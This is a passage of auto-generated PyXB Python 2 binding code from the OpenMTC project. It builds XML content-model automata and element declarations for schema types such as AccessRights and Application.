fac.UpdateInstruction(cc_1, True)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False)])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, True)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False)])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, True)])) st_4._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) AccessRightAnnc._Automaton = _BuildAutomaton_9() AccessRights._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'accessRightCollection'), NamedReferenceCollection, scope=AccessRights, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRights.xsd', 22, 4))) AccessRights._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'accessRightAnncCollection'), NamedReferenceCollection, scope=AccessRights, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRights.xsd', 23, 4))) AccessRights._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'accessRightID'), pyxb.binding.datatypes.anyURI, scope=AccessRights, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10, 4))) AccessRights._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'creationTime'), pyxb.binding.datatypes.dateTime, scope=AccessRights, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12, 4))) AccessRights._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'), pyxb.binding.datatypes.dateTime, scope=AccessRights, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14, 4))) AccessRights._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference'), pyxb.binding.datatypes.anyURI, scope=AccessRights, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 76, 4))) def _BuildAutomaton_10(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_10 del _BuildAutomaton_10 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRights.xsd', 12, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRights.xsd', 13, 12)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRights.xsd', 14, 12)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRights.xsd', 16, 12)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRights.xsd', 17, 12)) counters.add(cc_4) cc_5 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRights.xsd', 18, 12)) counters.add(cc_5) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(AccessRights._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'accessRightID')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRights.xsd', 12, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(AccessRights._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'creationTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRights.xsd', 13, 12)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(AccessRights._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRights.xsd', 14, 12)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(AccessRights._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'accessRightCollection')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRights.xsd', 16, 12)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.ElementUse(AccessRights._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'accessRightAnncCollection')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRights.xsd', 17, 12)) st_4 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() final_update.add(fac.UpdateInstruction(cc_5, False)) symbol = pyxb.binding.content.ElementUse(AccessRights._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRights.xsd', 18, 12)) st_5 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_5) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_0, False)])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_1, False)])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_2, False)])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_3, True)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_3, False)])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_4, True)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_4, False)])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_5, True)])) st_5._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) AccessRights._Automaton = _BuildAutomaton_10() Application._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'referencePoint'), ReferencePoint, scope=Application, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 32, 4))) Application._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, u'aPoC'), pyxb.binding.datatypes.anyURI, scope=Application, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 33, 4))) Application._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'aPoCPaths'), APoCPaths, scope=Application, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 34, 4))) Application._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'locRequestor'), pyxb.binding.datatypes.anyType, scope=Application, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 36, 4))) Application._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'accessRightID'), pyxb.binding.datatypes.anyURI, scope=Application, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10, 4))) Application._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'creationTime'), pyxb.binding.datatypes.dateTime, scope=Application, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12, 4))) Application._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'), pyxb.binding.datatypes.dateTime, scope=Application, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14, 4))) Application._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'expirationTime'), pyxb.binding.datatypes.dateTime, scope=Application, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 16, 4))) Application._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'searchStrings'), SearchStrings, scope=Application, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 18, 4))) Application._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'announceTo'), AnnounceTo, scope=Application, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 58, 4))) Application._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference'), pyxb.binding.datatypes.anyURI, scope=Application, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 76, 4))) Application._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'groupsReference'), pyxb.binding.datatypes.anyURI, scope=Application, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 77, 4))) Application._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'containersReference'), pyxb.binding.datatypes.anyURI, scope=Application, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 79, 4))) Application._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'accessRightsReference'), pyxb.binding.datatypes.anyURI, scope=Application, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 81, 4))) Application._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'notificationChannelsReference'), pyxb.binding.datatypes.anyURI, scope=Application, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 82, 4))) def _BuildAutomaton_11(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_11 del _BuildAutomaton_11 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 12, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 13, 12)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 14, 12)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 15, 12)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 16, 12)) counters.add(cc_4) cc_5 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 17, 12)) counters.add(cc_5) cc_6 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 18, 12)) counters.add(cc_6) cc_7 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 19, 12)) counters.add(cc_7) cc_8 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 20, 12)) counters.add(cc_8) cc_9 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 21, 12)) counters.add(cc_9) cc_10 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 23, 12)) counters.add(cc_10) cc_11 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 24, 12)) counters.add(cc_11) cc_12 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 25, 12)) counters.add(cc_12) cc_13 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 26, 12)) counters.add(cc_13) cc_14 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 27, 12)) counters.add(cc_14) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(Application._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'expirationTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 12, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(Application._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'accessRightID')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 13, 12)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(Application._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'searchStrings')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 14, 12)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(Application._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'creationTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 15, 12)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.ElementUse(Application._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 16, 12)) st_4 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() final_update.add(fac.UpdateInstruction(cc_5, False)) symbol = pyxb.binding.content.ElementUse(Application._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'announceTo')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 17, 12)) st_5 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_5) final_update = set() final_update.add(fac.UpdateInstruction(cc_6, False)) symbol = pyxb.binding.content.ElementUse( Application._UseForTag(pyxb.namespace.ExpandedName(Namespace, u'aPoC')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 18, 12)) st_6 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_6) final_update = set() final_update.add(fac.UpdateInstruction(cc_7, False)) symbol = pyxb.binding.content.ElementUse(Application._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'aPoCPaths')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 19, 12)) st_7 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_7) final_update = set() final_update.add(fac.UpdateInstruction(cc_8, False)) symbol = pyxb.binding.content.ElementUse(Application._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'locRequestor')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 20, 12)) st_8 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_8) final_update = set() final_update.add(fac.UpdateInstruction(cc_9, False)) symbol = pyxb.binding.content.ElementUse(Application._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'referencePoint')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 21, 12)) st_9 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_9) final_update = set() final_update.add(fac.UpdateInstruction(cc_10, False)) symbol = pyxb.binding.content.ElementUse(Application._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'containersReference')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 23, 12)) st_10 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_10) final_update = set() final_update.add(fac.UpdateInstruction(cc_11, False)) symbol = pyxb.binding.content.ElementUse(Application._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'groupsReference')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 24, 12)) st_11 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_11) final_update = set() final_update.add(fac.UpdateInstruction(cc_12, False)) symbol = pyxb.binding.content.ElementUse(Application._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'accessRightsReference')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 25, 12)) st_12 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_12) final_update = set() final_update.add(fac.UpdateInstruction(cc_13, False)) symbol = pyxb.binding.content.ElementUse(Application._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 26, 12)) st_13 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_13) final_update = set() final_update.add(fac.UpdateInstruction(cc_14, False)) symbol = pyxb.binding.content.ElementUse(Application._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'notificationChannelsReference')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 27, 12)) st_14 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_14) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_0, False)])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_1, False)])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_2, False)])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_3, True)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_3, False)])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_4, True)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_4, False)])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_5, True)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_5, False)])) st_5._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_6, True)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_6, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_6, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_6, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_6, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_6, False)])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_6, False)])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_6, False)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_6, False)])) st_6._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_7, True)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_7, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_7, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_7, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_7, False)])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_7, False)])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_7, False)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_7, False)])) st_7._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_8, True)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_8, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_8, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_8, False)])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_8, False)])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_8, False)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_8, False)])) st_8._set_transitionSet(transitions) transitions = [] 